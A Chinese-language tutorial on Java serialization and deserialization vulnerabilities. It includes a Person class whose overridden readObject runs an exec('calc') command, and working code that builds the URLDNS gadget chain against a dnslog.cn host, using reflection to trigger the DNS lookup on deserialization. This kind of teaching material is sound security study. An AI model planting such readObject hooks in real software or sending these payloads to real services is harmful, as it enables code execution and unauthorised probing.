序列化与反序列化
1、概述
序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。
Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream
类的writeObject()
方法可以实现序列化。反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream
类的 readObject()
方法用于反序列化。
2、什么是序列化和反序列化
Java序列化就是指把Java对象转换为字节序列的过程
Java反序列化就是指把字节序列恢复为Java对象的过程。
序列化:对象 -> 字符串
反序列化:字符串 -> 对象
3、序列化与反序列化代码实现
反序列化类UnserializeTest.java
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}
Persion.java
在这个类文件中简单写了几个函数方法,来作为序列化和反序列化的基础文件,但要再开头继承一个Serializable
接口,只有继承这个接口的类才可以反序列化
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(){
}
// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
SerializationTest.java
在这个序列化文件中,先封装了一个unserialize
函数,在这个函数中用FileOutputStream
和ObjectInputStream
将文件以二进制流的方式输出到ser.bin
再用oos.writeObject
来进行序列化
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
// System.out.println(person);
serialize(person);
}
}
UnserializeTest.java
这个java文件基本和上一个相反,封装了一个unserialize
函数,用FileInputStream
和ObjectInputStream
读取ser.bin中的内容,之后用ois.readObject()
来进行反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}
过程
先运行SerializationTest.java
左边生成ser.bin后再进行UnserializeTest.java
序列化与反序列化的安全问题
1、引子
在序列化和反序列化中很重要的两个方法writeObject
和readObject
,这两个方法可以经过开发者的重写,一般开发者们会根据自己的需求来进行重写,然而只要服务端反序列化数据,客户端传递类的readObject
中代码会自动执行,基于攻击者在服务器上运行代码的能力。
所以从根本上来说,Java 反序列化的漏洞的与
readObject
有关。
2、可能存在漏洞的形式
刚刚说在反序列化的时候readObject
中代码会自动执行,如果readObject
插入命令执行的代码,也就执行,就产生了安全漏洞
例如我们将刚刚的Person.java修改成一下代码
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(){
}
// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
多了一串我们重写的readObject
中的东西,在这个方法里我们放了一个命令执行的exec
函数,可以打开计算器,执行一下
和我们想象的一样弹出了计算器,这就是反序列化引出的安全漏洞
3、条件
共同条件继承Serializable
入口类source(重写readObject参数类型宽泛最好jdk自带)调用链gadget chain
执行类sink(rce ssf 写文件等等)
4、HashMap
HashMap: java 中的一种容器,用来存储内容,内容以键值对的形式存放。
跟进hashmap中看一下
重写了一个readObject
可以看到作用是获取了key
和value
两个值,并且调用了hash
函数,继续跟进hash
函数看一下
判断了key
是否为空或0,如果不是就会调用hashCode()
,怎么判断的key
一定有hsahcode
呢,看一下hash
的Object
可以看到这个Object
中本身就有这三个,如果这三个类中有危险函数而且可以反序列化的话就可能会有反序列化漏洞了
5、URLDNS链
原理
URLDNS链也是利用的HashMap存在的漏洞
java.util.HashMap
实现了 Serializable
接口,重写了 readObject
, 在反序列化时会调用 hash
函数计算 key 的 hashCode. 而 java.net.URL
的 hashCode
在计算时会调用 getHostAddress
来解析域名,从而发出 DNS 请求。
我们从 ysoserial 项目 src/main/java/ysoserial/payloads/URLDNS.java
的注释中可以看到 URLDNS 的调用链(Gadget Chain):
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
调用了参数 key 的 hashCode 函数,而我们从 src/main/java/ysoserial/payloads/URLDNS.java
中可以得知这个 key 就是一个 URL 对象。
跟进一下URL
它继承了这个序列化接口是我们找序列化漏洞必须的
再找我们需要的类
这里有一个hashCode
调用了hashCode
函数继续跟进
有一个getHostAddress
,根据名字是一个根据域名获取地址,会做一个域名解析的工作,也就是说我们如果调用了URL
类中的hashCode
函数,那我们就会获取一个地址,就可以验证是否存在漏洞
再根据我们上面分析的HashMap
中的readObject
函数中调用hashCode
,如果key
为URL
的话就会调用URL
中的hashCode
,而且readObject
在序列化中会自动触发,所以序列化时会串起来,造成反序列化漏洞。
构造利用链
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
// Person person = new Person("aa",22);
// System.out.println(person);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
hashmap.put(new URL("http://wpv3x5.dnslog.cn"),1);
serialize(hashmap);
}
}
理论上应该在序列化时,接受到请求,但在序列化会就接受到了
分析一下原因,跟进一下put,
在序列化的时候就已经调用了put
中的hash
进而调用了hashCode
方法的话
可以看到这里,如果吧请求后的hashCode
改为-1,就可直接放回hashCode
就可以避免这个问题了,利用反射的方法来改为-1
import jdk.nashorn.internal.objects.NativeDebug;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
// Person person = new Person("aa",22);
// System.out.println(person);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
// hashmap.put(new URL("http://lswgcx.dnslog.cn"),1);
URL url = new URL("");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,12);
hashmap.put(url,1);
//改回-1
hashcodefield.set(url,-1);
serialize(hashmap);
}
}
这样执行之后,并没有回显,再进行反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.HashMap;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
unserialize("ser.bin");
}
}
就成功回显了